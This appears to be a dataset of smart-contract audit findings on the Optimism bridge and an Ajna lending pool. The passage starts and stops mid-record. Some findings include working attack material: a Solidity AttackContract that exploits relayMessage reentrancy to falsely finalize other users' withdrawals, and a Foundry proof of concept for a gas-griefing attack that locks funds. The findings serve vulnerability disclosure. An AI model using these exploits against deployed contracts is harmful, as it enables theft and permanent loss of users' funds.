tests.\\nWhen we send 65,681 or less gas, it's little enough to be caught by the require statement.\\nWhen we send 70,803 or more gas, the transaction will succeed.\\nWhen we send any amount of gas between these two values, the require check is passed but the transaction fails. | ```\\nrequire(\\n gasleft() >= _tx.gasLimit + FINALIZE_GAS_BUFFER,\\n "OptimismPortal: insufficient gas to finalize withdrawal"\\n);\\n```\\n |
Causing users lose their fund during finalizing withdrawal transaction | high | A malicious user can make users lose their fund during finalizing their withdrawal. This is possible due to presence of reentrancy guard on the function `relayMessage`.\\nBob (a malicious user) creates a contract (called AttackContract) on L1.\\n```\\n// SPDX-License-Identifier: MIT\\npragma solidity 0.8.0;\\n\\nstruct WithdrawalTransaction {\\n uint256 nonce;\\n address sender;\\n address target;\\n uint256 value;\\n uint256 gasLimit;\\n bytes data;\\n}\\n\\ninterface IOptimismPortal {\\n function finalizeWithdrawalTransaction(WithdrawalTransaction memory _tx)\\n external;\\n}\\n\\ncontract AttackContract {\\n bool public donotRevert;\\n bytes metaData;\\n address optimismPortalAddress;\\n\\n constructor(address _optimismPortal) {\\n optimismPortalAddress = _optimismPortal;\\n }\\n\\n function enableRevert() public {\\n donotRevert = true;\\n }\\n\\n function setMetaData(WithdrawalTransaction memory _tx) public {\\n metaData = abi.encodeWithSelector(\\n IOptimismPortal.finalizeWithdrawalTransaction.selector,\\n _tx\\n );\\n }\\n\\n function attack() public {\\n if (!donotRevert) {\\n revert();\\n } else {\\n optimismPortalAddress.call(metaData);\\n }\\n }\\n}\\n```\\n\\n```\\n if (!donotRevert) {\\n revert();\\n }\\n```\\n\\nThen, Bob calls the function `enableRevert` to set `donotRevert` to `true`. So that if later the function `attack()` is called again, it will not revert.\\n```\\n function enableRevert() public {\\n donotRevert = true;\\n }\\n```\\n\\nThen, Bob notices that Alice is withdrawing large amount of fund from L2 to L1. Her withdrawal transaction is proved but she is waiting for the challenge period to be finished to finalize it.\\nThen, Bob calls the function `setMetaData` on the contract `AttackContract` with the following parameter:\\n`_tx` = Alice's withdrawal transaction\\nBy doing so, the `metaData` will be equal to `finalizeWithdrawalTransaction.selector` + Alice's withdrawal transaction.\\n```\\n function setMetaData(WithdrawalTransaction memory _tx) public {\\n metaData = abi.encodeWithSelector(\\n IOptimismPortal.finalizeWithdrawalTransaction.selector,\\n _tx\\n );\\n }\\n```\\n\\nNow, after the challenge period is passed, and before the function `finalizeWithdrawalTransaction` is called by anyone (Alice), Bob calls the function `relayMessage` with the required data to retry his previous failed message again.\\nThis time, since `donotRevert` is `true`, the call to function `attack()` will not revert, instead the body of `else clause` will be executed.\\n```\\n else {\\n optimismPortalAddress.call(metaData);\\n }\\n```\\n\\nIn summary the attack is as follows:\\nBob creates a malicious contract on L1 called `AttackContract`.\\nBob sends a message from L2 to L1 to call the function `AttackContract.attack` on L1.\\nOn L1 side, after the challenge period is passed, the function `AttackContract.attack` will be called.\\nMessage relay on L1 will be unsuccessful, because the function `AttackContract.attack` reverts. So, Bob's message will be flagged as failed message.\\nBob sets `AttackContract.donotRevert` to true.\\nBob waits for an innocent user to request withdrawal transaction.\\nBob waits for the innocent user's withdrawal transaction to be proved.\\nBob sets meta data in his malicious contract based on the innocent user's withdrawal transaction.\\nBob waits for the challenge period to be passed.\\nAfter the challenge period is elapsed, Bob retries to relay his failed message again.\\n`CrossDomainMessenger.relayMessage` will call the `AttackContract.attack`, then it calls `OptimismPortal.finalizeWithdrawalTransaction` to finalize innocent user's withdrawal transaction. Then, it calls `CrossDomainMessenger.relayMessage`, but it will be unsuccessful because of reentrancy guard.\\nAfter finalizing the innocent user's withdrawal transaction, Bob's message will be flagged as successful.\\nSo, innocent user's withdrawal transaction is flagged as finalized, while it is not. | ```\\n try IL1CrossDomainMessanger.relayMessage(// rest of code) {} catch Error(string memory reason) {\\n if (\\n keccak256(abi.encodePacked(reason)) ==\\n keccak256(abi.encodePacked("ReentrancyGuard: reentrant call"))\\n ) {\\n revert("finalizing should be reverted");\\n }\\n }\\n```\\n | By doing this attack it is possible to prevent users from withdrawing their fund. Moreover, they lose their fund because withdrawal is flagged as finalized, but the withdrawal sent to `L1CrossDomainMessanger` was not successful. | ```\\n// SPDX-License-Identifier: MIT\\npragma solidity 0.8.0;\\n\\nstruct WithdrawalTransaction {\\n uint256 nonce;\\n address sender;\\n address target;\\n uint256 value;\\n uint256 gasLimit;\\n bytes data;\\n}\\n\\ninterface IOptimismPortal {\\n function finalizeWithdrawalTransaction(WithdrawalTransaction memory _tx)\\n external;\\n}\\n\\ncontract AttackContract {\\n bool public donotRevert;\\n bytes metaData;\\n address optimismPortalAddress;\\n\\n constructor(address _optimismPortal) {\\n optimismPortalAddress = _optimismPortal;\\n }\\n\\n function enableRevert() public {\\n donotRevert = true;\\n }\\n\\n function setMetaData(WithdrawalTransaction memory _tx) public {\\n metaData = abi.encodeWithSelector(\\n IOptimismPortal.finalizeWithdrawalTransaction.selector,\\n _tx\\n );\\n }\\n\\n function attack() public {\\n if (!donotRevert) {\\n revert();\\n } else {\\n optimismPortalAddress.call(metaData);\\n }\\n }\\n}\\n```\\n |
Censorship resistance is undermined and bridging of assets can be DOSed at low cost | medium | All L1->L2 transactions go through OptimismPortal's `depositTransaction` function. It is wrapped through the `metered` modifier. The goal is to create a gas market for L1->L2 transactions and not allow L1 TXs to fill up L2 batches (as the gas for deposit TX in L2 is payed for by the system), but the mechanism used makes it too inexpensive for a malicious user to DOS and censor deposits.\\nIt is possible for a malicious actor to snipe arbitrary L1->L2 transactions in the mempool for far too cheaply. This introduces two impacts:\\nUndermines censorship resistance guarantees by Optimism\\nGriefs users who simply want to bridge assets to L2\\nThe core issue is the check in ResourceMetering.sol:\\n```\\n// Make sure we can actually buy the resource amount requested by the user.\\nparams.prevBoughtGas += _amount;\\nrequire(\\n int256(uint256(params.prevBoughtGas)) <= MAX_RESOURCE_LIMIT,\\n "ResourceMetering: cannot buy more gas than available gas limit"\\n);\\n```\\n\\nNote that `params.prevBoughtGas` is reset per block. This means attacker can view a TX in the mempool and wrap up the following flashbot bundle:\\nAttacker TX to `depositTransaction`, with gasLimit = 8M (MAX_RESOURCE_LIMIT)\\nVictim TX to `depositTransaction`\\nThe result is that attacker's transaction will execute and victim's TX would revert. It is unknown how this affects the UI and whether victim would be able to resubmit this TX again easily, but regardless it's clearly griefing user's attempt to bridge an asset. Note that a reverted TX is different from an uncompleted TX from a UX point of view.\\nFrom a censorship resistance perspective, there is nothing inherently preventing attack to continually use this technique to block out all TXs, albert gas metering price will rise as will be discussed.\\nNow we can demonstrate the cost of the attack to be low. Gas burned by the modifier is calculated as:\\n```\\n// Determine the amount of ETH to be paid.\\nuint256 resourceCost = _amount * params.prevBaseFee;\\n// rest of code\\nuint256 gasCost = resourceCost / Math.max(block.basefee, 1000000000);\\n```\\n\\n`params.prevBaseFee` is initialized at 1e9 and goes up per block by a factor of 1.375 when gas market is drained, while going down by 0.875 when gas market wasn't used at all.\\nIf we take the initial value, `resourceCost = 8e6 * 1e9 = 8e15`. If we assume tip is negligible to `block.basefee`, L1 gas cost in ETH equals `resourceCost` (divide by basefee and multiply by basefee). Therefore, cost of this snipe TX is:\\n`8e15 / 1e18 (ETH decimals) * 1600 (curr ETH price) = $12.80`\\nThe result is an extremely low price to pay, and even taking into account extra tips for frontrunning, is easily achievable.\\nIn practice `prevBaseFee` will represent the market price for L2 gas. If it goes lower than initial value, DOSing will become cheaper, while if it goes higher it will become more expensive. The key problem is that the attacker's cost is too similar to the victim's cost. If victim is trying to pass a 400k TX, attacker needs to buy a 7.6M of gas. This gap is too small and the resulting situation is that for DOS to be too expensive for attacker, TX would have to be far too expensive for the average user. | It is admittedly difficult to balance the need for censorship resistance with the prevention of L2 flooding via L1 TXs. However, the current solution which will make a victim's TX revert at hacker's will is inadequate and will lead to severe UX issues for users. | Censorship resistance is undermined and bridging of assets can be DOSed at low cost. | ```\\n// Make sure we can actually buy the resource amount requested by the user.\\nparams.prevBoughtGas += _amount;\\nrequire(\\n int256(uint256(params.prevBoughtGas)) <= MAX_RESOURCE_LIMIT,\\n "ResourceMetering: cannot buy more gas than available gas limit"\\n);\\n```\\n |
[High] Function MigrateWithdrawal() may set gas limit so high for old withdrawals when migrating them by mistake and they can't be relayed in the L1 and users funds would be lost | medium | Function `MigrateWithdrawal()` in migrate.go will turn a LegacyWithdrawal into a bedrock style Withdrawal. it should set a min gas limit value for the withdrawals. to calculate a gas limit contract overestimates it and if the value goes higher than L1 maximum gas in the block then the withdraw can't be relayed in the L1 and users funds would be lost while the withdraw could be possible before the migration it won't be possible after it.\\nThis is `MigrateWithdrawal()` code:\\n```\\n// MigrateWithdrawal will turn a LegacyWithdrawal into a bedrock\\n// style Withdrawal.\\nfunc MigrateWithdrawal(withdrawal *LegacyWithdrawal, l1CrossDomainMessenger *common.Address) (*Withdrawal, error) {\\n // Attempt to parse the value\\n value, err := withdrawal.Value()\\n if err != nil {\\n return nil, fmt.Errorf("cannot migrate withdrawal: %w", err)\\n }\\n\\n abi, err := bindings.L1CrossDomainMessengerMetaData.GetAbi()\\n if err != nil {\\n return nil, err\\n }\\n\\n // Migrated withdrawals are specified as version 0. Both the\\n // L2ToL1MessagePasser and the CrossDomainMessenger use the same\\n // versioning scheme. Both should be set to version 0\\n versionedNonce := EncodeVersionedNonce(withdrawal.Nonce, new(big.Int))\\n // Encode the call to `relayMessage` on the `CrossDomainMessenger`.\\n // The minGasLimit can safely be 0 here.\\n data, err := abi.Pack(\\n "relayMessage",\\n versionedNonce,\\n withdrawal.Sender,\\n withdrawal.Target,\\n value,\\n new(big.Int),\\n withdrawal.Data,\\n )\\n if err != nil {\\n return nil, fmt.Errorf("cannot abi encode relayMessage: %w", err)\\n }\\n\\n // Set the outer gas limit. This cannot be zero\\n gasLimit := uint64(len(data)*16 + 200_000)\\n\\n w := NewWithdrawal(\\n versionedNonce,\\n &predeploys.L2CrossDomainMessengerAddr,\\n l1CrossDomainMessenger,\\n value,\\n new(big.Int).SetUint64(gasLimit),\\n data,\\n )\\n return w, nil\\n}\\n```\\n\\nAs you can see it sets the gas limit as `gasLimit := uint64(len(data)*16 + 200_000)` and contract set 16 gas per data byte but in Ethereum when data byte is 0 then the overhead intrinsic gas is 4 and contract overestimate the gas limit by setting 16 gas for each data. this can cause messages with big data(which calculated gas is higher than 30M) to not be relay able in the L1 because if transaction gas set lower than calculated gas then OptimisimPortal would reject it and if gas set higher than calculated gas then miners would reject the transaction. while if code correctly estimated the required gas the gas limit could be lower by the factor of 4. for example a message with about 2M zeros would get gas limit higher than 30M and it won't be withdrawable in the L1 while the real gas limit is 8M which is relayable. | calculate gas estimation correctly, 4 for 0 bytes and 16 for none zero bytes. | some withdraw messages from L2 to L1 that could be relayed before the migration can't be relayed after the migration because of the wrong gas estimation. | ```\\n// MigrateWithdrawal will turn a LegacyWithdrawal into a bedrock\\n// style Withdrawal.\\nfunc MigrateWithdrawal(withdrawal *LegacyWithdrawal, l1CrossDomainMessenger *common.Address) (*Withdrawal, error) {\\n // Attempt to parse the value\\n value, err := withdrawal.Value()\\n if err != nil {\\n return nil, fmt.Errorf("cannot migrate withdrawal: %w", err)\\n }\\n\\n abi, err := bindings.L1CrossDomainMessengerMetaData.GetAbi()\\n if err != nil {\\n return nil, err\\n }\\n\\n // Migrated withdrawals are specified as version 0. Both the\\n // L2ToL1MessagePasser and the CrossDomainMessenger use the same\\n // versioning scheme. Both should be set to version 0\\n versionedNonce := EncodeVersionedNonce(withdrawal.Nonce, new(big.Int))\\n // Encode the call to `relayMessage` on the `CrossDomainMessenger`.\\n // The minGasLimit can safely be 0 here.\\n data, err := abi.Pack(\\n "relayMessage",\\n versionedNonce,\\n withdrawal.Sender,\\n withdrawal.Target,\\n value,\\n new(big.Int),\\n withdrawal.Data,\\n )\\n if err != nil {\\n return nil, fmt.Errorf("cannot abi encode relayMessage: %w", err)\\n }\\n\\n // Set the outer gas limit. This cannot be zero\\n gasLimit := uint64(len(data)*16 + 200_000)\\n\\n w := NewWithdrawal(\\n versionedNonce,\\n &predeploys.L2CrossDomainMessengerAddr,\\n l1CrossDomainMessenger,\\n value,\\n new(big.Int).SetUint64(gasLimit),\\n data,\\n )\\n return w, nil\\n}\\n```\\n |
Migration can be bricked by sending a message directly to the LegacyMessagePasser | medium | The migration process halts and returns an error if any of the withdrawal data breaks from the specified format. However, the data for this migration comes from every call that has been made to the LegacyMessagePasser (0x00) address, and it is possible to send a transaction that would violate the requirements. The result is that the migration process would be bricked and need to be rebuilt, with some difficult technical challenges that we'll outline below.\\nWithdrawal data is saved in l2geth whenever a call is made to the LegacyMessagePasser address:\\n```\\nif addr == dump.MessagePasserAddress {\\n statedumper.WriteMessage(caller.Address(), input)\\n}\\n```\\n\\nThis will save all the calls that came via the L2CrossDomainMessenger. The expected format for the data is encoded in the L2CrossDomainMessenger. It encodes the calldata to be executed on the L1 side as: `abi.encodeWithSignature("relayMessage(...)", target, sender, message, nonce)`\\nThe migration process expects the calldata to follow this format, and expects the call to come from L2CrossDomainMessenger, implemented with the following two checks:\\n```\\nselector := crypto.Keccak256([]byte("relayMessage(address,address,bytes,uint256)"))[0:4]\\nif !bytes.Equal(data[0:4], selector) {\\n return fmt.Errorf("invalid selector: 0x%x", data[0:4])\\n}\\n\\nmsgSender := data[len(data)-len(predeploys.L2CrossDomainMessengerAddr):]\\nif !bytes.Equal(msgSender, predeploys.L2CrossDomainMessengerAddr.Bytes()) {\\n return errors.New("invalid msg.sender")\\n}\\n```\\n\\nThe migration process will be exited and the migration will fail if this assumption is violated.\\nHowever, since the function on the LegacyMessagePasser is public, it can also be called directly with arbitrary calldata:\\n```\\nfunction passMessageToL1(bytes memory _message) external {\\n sentMessages[keccak256(abi.encodePacked(_message, msg.sender))] = true;\\n}\\n```\\n\\nThis allows us to submit calldata that would violate both of these checks and cause the migration to panic and fail.\\nWhile it may seem easy to filter these withdrawals out and rerun the migration, this solution would not work either. That's because, later in the process, we check that easy storage slot in the LegacyMessagePasser contract has a corresponding withdrawal in the migration:\\n```\\nfor slot := range slotsAct {\\n _, ok := slotsInp[slot]\\n if !ok {\\n return nil, fmt.Errorf("unknown storage slot in state: %s", slot)\\n }\\n}\\n```\\n\\nThe result is that the Optimism team would need to unwind the migration, develop a new migration process to account for this issue, and remigrate with an untested system. | Rather than throwing an error if withdrawal data doesn't meet the requirements, save a list of these withdrawals and continue. Include this list when prechecking withdrawals to ensure that they are included in the storage slot matching process, but not included in withdrawals to be transferred to the new system.\\nSpecial note\\nAfter coming up with this attack, we've noticed that someone has done exactly what we described and sent a message directly to the MessagePasser! Obviously this TX has nothing to do with us and we want to make sure Optimism is absolutely safe during migration. Furthermore, this TX should be traced and if a contestant is linked to this then they should clearly be disqualified from being rewarded. | Exploitation of this bug would lead to significant challenges for the Optimism team, needing to run a less tested migration process (which could lead to further issues), and a significant amount of FUD in pausing a partially completed migration partway through. We think that the ability to unexpectedly shut down the migration causes enough structural damage as well as second-order financial damage to warrant high severity. | ```\\nif addr == dump.MessagePasserAddress {\\n statedumper.WriteMessage(caller.Address(), input)\\n}\\n```\\n |
Withdrawals with high gas limits can be bricked by a malicious user, permanently locking funds | high | Transactions to execute a withdrawal from the Optimism Portal require the caller to send enough gas to cover `gasLimit` specified by the withdrawer.\\nBecause the EVM limits the total gas forwarded on to 63/64ths of the total `gasleft()` (and silently reduces it to this value if we try to send more) there are situations where transactions with high gas limits will be vulnerable to being reverted.\\nBecause there are no replays on this contract, the result is that a malicious user can call `finalizeWithdrawalTransaction()` with a precise amount of gas, cause the withdrawer's withdrawal to fail, and permanently lock their funds.\\nWithdrawals can be withdrawn from L2's `L2ToL1MessagePasser` contract to L1's `OptimismPortal` contract. This is a less "user-friendly" withdrawal path, presumably for users who know what they are doing.\\nOne of the quirks of the `OptimismPortal` is that there is no replaying of transactions. If a transaction fails, it will simply fail, and all ETH associated with it will remain in the `OptimismPortal` contract. Users have been warned of this and understand the risks, so Optimism takes no responsibility for user error.\\nIn order to ensure that failed transactions can only happen at the fault of the user, the contract implements a check to ensure that the gasLimit is sufficient:\\n```\\nrequire(\\n gasleft() >= _tx.gasLimit + FINALIZE_GAS_BUFFER,\\n "OptimismPortal: insufficient gas to finalize withdrawal"\\n);\\n```\\n\\nWhen the transaction is executed, the contract requests to send along all the remaining gas, minus the hardcoded `FINALIZE_GAS_BUFFER` for actions after the call. The goal is that this will ensure that the amount of gas forwarded on is at least the gas limit specified by the user.\\nOptimism is aware of the importance of this property being correct when they write in the comments:\\n“We want to maintain the property that the amount of gas supplied to the call to the target contract is at least the gas limit specified by the user. We can do this by enforcing that, at this point in time, we still have gaslimit + buffer gas available.”\\nThe issue is that the EVM specifies the maximum gas that can be sent to an external call as 63/64ths of the `gasleft()`. For very large gas limits, this 1/64th that remains could be greater than the hardcoded FINALIZE_GAS_BUFFER value. In this case, less gas would be forwarded along than was directed by the contract.\\nHere is a quick overview of the math:\\nWe need X gas to be sent as a part of the call.\\nThis means we need `X * 64 / 63` gas to be available at the time the function is called.\\nHowever, the only check is that we have `X + 20_000` gas a few operations prior to the call (which guarantees that we have `X + 14878` at the time of the call).\\nFor any situation where `X / 64 > 14878` (in other words, when the amount of gas sent is greater than 952_192), the caller is able to send an amount of gas that passes the check, but doesn't forward the required amount on in the call. | Change the check to account for this 63/64 rule:\\n```\\nrequire(\\n gasleft() >= (_tx.gasLimit + FINALIZE_GAS_BUFFER) * 64 / 63,\\n "OptimismPortal: insufficient gas to finalize withdrawal"\\n);\\n```\\n | For any withdrawal with a gas limit of at least 952,192, a malicious user can call `finalizeWithdrawalTransaction()` with an amount of gas that will pass the checks, but will end up forwarding along less gas than was specified by the user.\\nThe result is that the withdrawing user can have their funds permanently locked in the `OptimismPortal` contract.\\nProof of Concept\\nTo test this behavior in a sandboxed environment, you can copy the following proof of concept.\\nHere are three simple contracts that replicate the behavior of the Portal, as well as an external contract that uses a predefined amount of gas.\\n(Note that we added 5122 to the gas included in the call to correct for the other bug we submitted, as this issue remains even when the other bug is patched.)\\n```\\n// SPDX-License-Identifier: UNLICENSED\\npragma solidity ^0.8.13;\\n\\nlibrary SafeCall {\\n /**\\n * @notice Perform a low level call without copying any returndata\\n *\\n * @param _target Address to call\\n * @param _gas Amount of gas to pass to the call\\n * @param _value Amount of value to pass to the call\\n * @param _calldata Calldata to pass to the call\\n */\\n function call(\\n address _target,\\n uint256 _gas,\\n uint256 _value,\\n bytes memory _calldata\\n ) internal returns (bool) {\\n bool _success;\\n assembly {\\n _success := call(\\n _gas, // gas\\n _target, // recipient\\n _value, // ether value\\n add(_calldata, 0x20), // inloc\\n mload(_calldata), // inlen\\n 0, // outloc\\n 0 // outlen\\n )\\n }\\n return _success;\\n }\\n}\\n\\ncontract GasUser {\\n uint[] public s;\\n\\n function store(uint i) public {\\n for (uint j = 0; j < i; j++) {\\n s.push(1);\\n }\\n }\\n}\\n\\ncontract Portal {\\n address l2Sender;\\n\\n struct Transaction {\\n uint gasLimit;\\n address sender;\\n address target;\\n uint value;\\n bytes data;\\n }\\n\\n constructor(address _l2Sender) {\\n l2Sender = _l2Sender;\\n }\\n\\n function execute(Transaction memory _tx) public {\\n require(\\n gasleft() >= _tx.gasLimit + 20000,\\n "OptimismPortal: insufficient gas to finalize withdrawal"\\n );\\n\\n // Set the l2Sender so contracts know who triggered this withdrawal on L2.\\n l2Sender = _tx.sender;\\n\\n // Trigger the call to the target contract. We use SafeCall because we don't\\n // care about the returndata and we don't want target contracts to be able to force this\\n // call to run out of gas via a returndata bomb.\\n bool success = SafeCall.call(\\n _tx.target,\\n gasleft() - 20000 + 5122, // fix for other bug\\n _tx.value,\\n _tx.data\\n );\\n }\\n}\\n```\\n\\nHere is a Foundry test that calls the Portal with various gas values to expose this vulnerability:\\n```\\n// SPDX-License-Identifier: UNLICENSED\\npragma solidity ^0.8.13;\\n\\nimport "forge-std/Test.sol";\\nimport "../src/Portal.sol";\\n\\ncontract PortalGasTest is Test {\\n Portal public c;\\n GasUser public gu;\\n\\n function setUp() public {\\n c = new Portal(0x000000000000000000000000000000000000dEaD);\\n gu = new GasUser();\\n }\\n\\n function testGasLimitForGU() public {\\n gu.store{gas: 11_245_655}(500);\\n assert(gu.s(499) == 1);\\n }\\n\\n function _executePortalWithGivenGas(uint gas) public {\\n c.execute{gas: gas}(Portal.Transaction({\\n gasLimit: 11_245_655,\\n sender: address(69),\\n target: address(gu),\\n value: 0,\\n data: abi.encodeWithSignature("store(uint256)", 500)\\n }));\\n }\\n\\n function testPortalCatchesGasTooSmall() public {\\n vm.expectRevert(bytes("OptimismPortal: insufficient gas to finalize withdrawal"));\\n _executePortalWithGivenGas(11_266_734);\\n }\\n\\n function testPortalSucceedsWithEnoughGas() public {\\n _executePortalWithGivenGas(11_433_180);\\n assert(gu.s(499) == 1);\\n }\\n\\n function testPortalBugWithInBetweenGasLow() public {\\n _executePortalWithGivenGas(11_266_735);\\n \\n // It now reverts because the array has a length of 0.\\n vm.expectRevert();\\n gu.s(0);\\n }\\n\\n function testPortalBugWithInBetweenGasHigh() public {\\n _executePortalWithGivenGas(11_433_179);\\n \\n // It now reverts because the array has a length of 0.\\n vm.expectRevert();\\n gu.s(0);\\n }\\n}\\n```\\n\\nAs you can see:\\nWe verify that the call to the target contract succeeds with 11,245,655 gas, and set that as gasLimit for all tests. This is the `X` from our formula above.\\nThis means that we need `11_245_655 * 64 / 63 = 11_424_157` gas available at the time the call is made.\\nThe test uses `9023` gas before it makes our call, so we can see that if we send `11_424_157 + 9_023 = 11_433_180` gas, the test passes.\\nSimilarly, if we send `11_266_734` gas, the total gas will be small enough to fail the require check.\\nBut in the sweet spot between these values, we have enough gas to pass the require check, but when we get to the call, the amount of gas requested is more than 63/64ths of the total, so the EVM sends less than we asked for. As a result, the transaction fails. | ```\\nrequire(\\n gasleft() >= _tx.gasLimit + FINALIZE_GAS_BUFFER,\\n "OptimismPortal: insufficient gas to finalize withdrawal"\\n);\\n```\\n |
Challenger can override the 7 day finalization period | medium | All withdrawals are finalized after a 7 days window (finalization period). After this duration transaction are confirmed and user can surely withdraw their balance. But due to lack of check, challenger can delete a l2Output which is older than 7 days meaning withdrawals will stop working for even confirmed transaction\\nProposer has proposed L2 output for a _l2BlockNumber which creates entries on l2Outputs using the proposeL2Output. Assume this creates a new l2Output at index X\\n```\\nl2Outputs.push(\\n Types.OutputProposal({\\n outputRoot: _outputRoot,\\n timestamp: uint128(block.timestamp),\\n l2BlockNumber: uint128(_l2BlockNumber)\\n })\\n );\\n```\\n\\nproveWithdrawalTransaction has been called for user linked to this l2Output\\nFinalization period(7 day) is over after proposal and Users is ready to call `finalizeWithdrawalTransaction` to withdraw their funds\\nSince confirmation is done, User A is sure that he will be able to withdraw and thinks to do it after coming back from his holidays\\nChallenger tries to delete the index X (Step 1), ideally it should not be allowed as already confirmed. But since there is no such timeline check so the l2Output gets deleted\\n```\\nfunction deleteL2Outputs(uint256 _l2OutputIndex) external {\\n require(\\n msg.sender == CHALLENGER,\\n "L2OutputOracle: only the challenger address can delete outputs"\\n );\\n\\n // Make sure we're not *increasing* the length of the array.\\n require(\\n _l2OutputIndex < l2Outputs.length,\\n "L2OutputOracle: cannot delete outputs after the latest output index"\\n );\\n\\n uint256 prevNextL2OutputIndex = nextOutputIndex();\\n\\n // Use assembly to delete the array elements because Solidity doesn't allow it.\\n assembly {\\n sstore(l2Outputs.slot, _l2OutputIndex)\\n }\\n\\n emit OutputsDeleted(prevNextL2OutputIndex, _l2OutputIndex);\\n }\\n```\\n\\nUser comes back and now tries to withdraw but the withdraw fails since the l2Output index X does not exist anymore. This is incorrect and nullifies the network guarantee.\\nNote: In case of a separate output root could be proven then user withdrawal will permanently stuck. Ideally if such anomaly could not be caught within finalization period then user should be allowed to withdraw | Add below check in\\n```\\nrequire(getL2Output(_l2OutputIndex).timestamp<=FINALIZATION_PERIOD_SECONDS, "Output already confirmed");\\n```\\n | Withdrawal will fail for confirmed transaction | ```\\nl2Outputs.push(\\n Types.OutputProposal({\\n outputRoot: _outputRoot,\\n timestamp: uint128(block.timestamp),\\n l2BlockNumber: uint128(_l2BlockNumber)\\n })\\n );\\n```\\n |
user can drawDebt that is below dust amount | medium | According to the protocol, drawDebt prevents user from drawing below the `quoteDust_` amount. However, a logical error in the code can allow user to draw below dust amount.\\n`_revertOnMinDebt` is used in `drawDebt` to prevent dust loans. As you can see, the protocol wants to take the average of debt in the pool and make it the minimum if there are 10 or more loans. If it is lower than 10 loans, a `quoteDust` is used as the minimum. There is an edge case, whereby there are 10 loans in the pool, and the borrowers repay the loans till there is only 1 unit owed for each loan.(Might revert due to rounding error but it is describing a situation whereby repaying till a low amount of poolDebt can enable this). A new borrower can then `drawDebt` and because `_revertOnMindebt` only goes through the average loan amount check and not the `quoteDust_` amount check, he/she is able to draw loan that is well below the `quoteDust_` amount.\\n```\\n function _revertOnMinDebt(\\n LoansState storage loans_,\\n uint256 poolDebt_,\\n uint256 borrowerDebt_,\\n uint256 quoteDust_\\n ) view {\\n if (borrowerDebt_ != 0) {\\n uint256 loansCount = Loans.noOfLoans(loans_);\\n if (loansCount >= 10) {\\n if (borrowerDebt_ < _minDebtAmount(poolDebt_, loansCount)) revert AmountLTMinDebt();\\n } else {\\n if (borrowerDebt_ < quoteDust_) revert DustAmountNotExceeded();\\n }\\n }\\n }\\n```\\n\\n```\\n function _minDebtAmount(\\n uint256 debt_,\\n uint256 loansCount_\\n ) pure returns (uint256 minDebtAmount_) {\\n if (loansCount_ != 0) {\\n minDebtAmount_ = Maths.wdiv(Maths.wdiv(debt_, Maths.wad(loansCount_)), 10**19);\\n }\\n }\\n```\\n | Issue user can drawDebt that is below dust amount\\nRecommend checking that loan amount is more than `quoteDust_` regardless of the loan count.\\n```\\n function _revertOnMinDebt(\\n LoansState storage loans_,\\n uint256 poolDebt_,\\n uint256 borrowerDebt_,\\n uint256 quoteDust_\\n ) view {\\n if (borrowerDebt_ != 0) {\\n uint256 loansCount = Loans.noOfLoans(loans_);\\n if (loansCount >= 10) {\\n if (borrowerDebt_ < _minDebtAmount(poolDebt_, loansCount)) revert AmountLTMinDebt();\\n } \\n if (borrowerDebt_ < quoteDust_) revert DustAmountNotExceeded();\\n \\n }\\n }\\n```\\n | A minimum loan amount is used to deter dust loans, which can diminish user experience. | ```\\n function _revertOnMinDebt(\\n LoansState storage loans_,\\n uint256 poolDebt_,\\n uint256 borrowerDebt_,\\n uint256 quoteDust_\\n ) view {\\n if (borrowerDebt_ != 0) {\\n uint256 loansCount = Loans.noOfLoans(loans_);\\n if (loansCount >= 10) {\\n if (borrowerDebt_ < _minDebtAmount(poolDebt_, loansCount)) revert AmountLTMinDebt();\\n } else {\\n if (borrowerDebt_ < quoteDust_) revert DustAmountNotExceeded();\\n }\\n }\\n }\\n```\\n |
CryptoKitty and CryptoFighter NFT can be paused, which block borrowing / repaying / liquidating action in the ERC721Pool when borrowers still forced to pay the compounding interest | medium | CryptoKitty and CryptoFighter NFT can be paused, which block borrowing / repaying / liquidating action in the ERC721Pool\\nIn the current implementation in the factory contract and the pool contract, special logic is in-place to handle non-standard NFT such as crypto-kitty, crypto-figher or crypto punk.\\nIn the factory contract:\\n```\\nNFTTypes nftType;\\n// CryptoPunks NFTs\\nif (collateral_ == 0xb47e3cd837dDF8e4c57F05d70Ab865de6e193BBB ) {\\n nftType = NFTTypes.CRYPTOPUNKS;\\n}\\n// CryptoKitties and CryptoFighters NFTs\\nelse if (collateral_ == 0x06012c8cf97BEaD5deAe237070F9587f8E7A266d || collateral_ == 0x87d598064c736dd0C712D329aFCFAA0Ccc1921A1) {\\n nftType = NFTTypes.CRYPTOKITTIES;\\n}\\n// All other NFTs that support the EIP721 standard\\nelse {\\n // Here 0x80ac58cd is the ERC721 interface Id\\n // Neither a standard NFT nor a non-standard supported NFT(punk, kitty or fighter)\\n try IERC165(collateral_).supportsInterface(0x80ac58cd) returns (bool supportsERC721Interface) {\\n if (!supportsERC721Interface) revert NFTNotSupported();\\n } catch {\\n revert NFTNotSupported();\\n }\\n\\n nftType = NFTTypes.STANDARD_ERC721;\\n}\\n```\\n\\nAnd in ERC721Pool When handling ERC721 token transfer:\\n```\\n/**\\n * @notice Helper function for transferring multiple NFT tokens from msg.sender to pool.\\n * @notice Reverts in case token id is not supported by subset pool.\\n * @param poolTokens_ Array in pool that tracks NFT ids (could be tracking NFTs pledged by borrower or NFTs added by a lender in a specific bucket).\\n * @param tokenIds_ Array of NFT token ids to transfer from msg.sender to pool.\\n */\\nfunction _transferFromSenderToPool(\\n uint256[] storage poolTokens_,\\n uint256[] calldata tokenIds_\\n) internal {\\n bool subset = _getArgUint256(SUBSET) != 0;\\n uint8 nftType = _getArgUint8(NFT_TYPE);\\n\\n for (uint256 i = 0; i < tokenIds_.length;) {\\n uint256 tokenId = tokenIds_[i];\\n if (subset && !tokenIdsAllowed[tokenId]) revert OnlySubset();\\n poolTokens_.push(tokenId);\\n\\n if (nftType == uint8(NFTTypes.STANDARD_ERC721)){\\n _transferNFT(msg.sender, address(this), tokenId);\\n }\\n else if (nftType == uint8(NFTTypes.CRYPTOKITTIES)) {\\n ICryptoKitties(_getArgAddress(COLLATERAL_ADDRESS)).transferFrom(msg.sender ,address(this), tokenId);\\n }\\n else{\\n ICryptoPunks(_getArgAddress(COLLATERAL_ADDRESS)).buyPunk(tokenId);\\n }\\n\\n unchecked { ++i; }\\n }\\n}\\n```\\n\\nand\\n```\\nuint8 nftType = _getArgUint8(NFT_TYPE);\\n\\nfor (uint256 i = 0; i < amountToRemove_;) {\\n uint256 tokenId = poolTokens_[--noOfNFTsInPool]; // start with transferring the last token added in bucket\\n poolTokens_.pop();\\n\\n if (nftType == 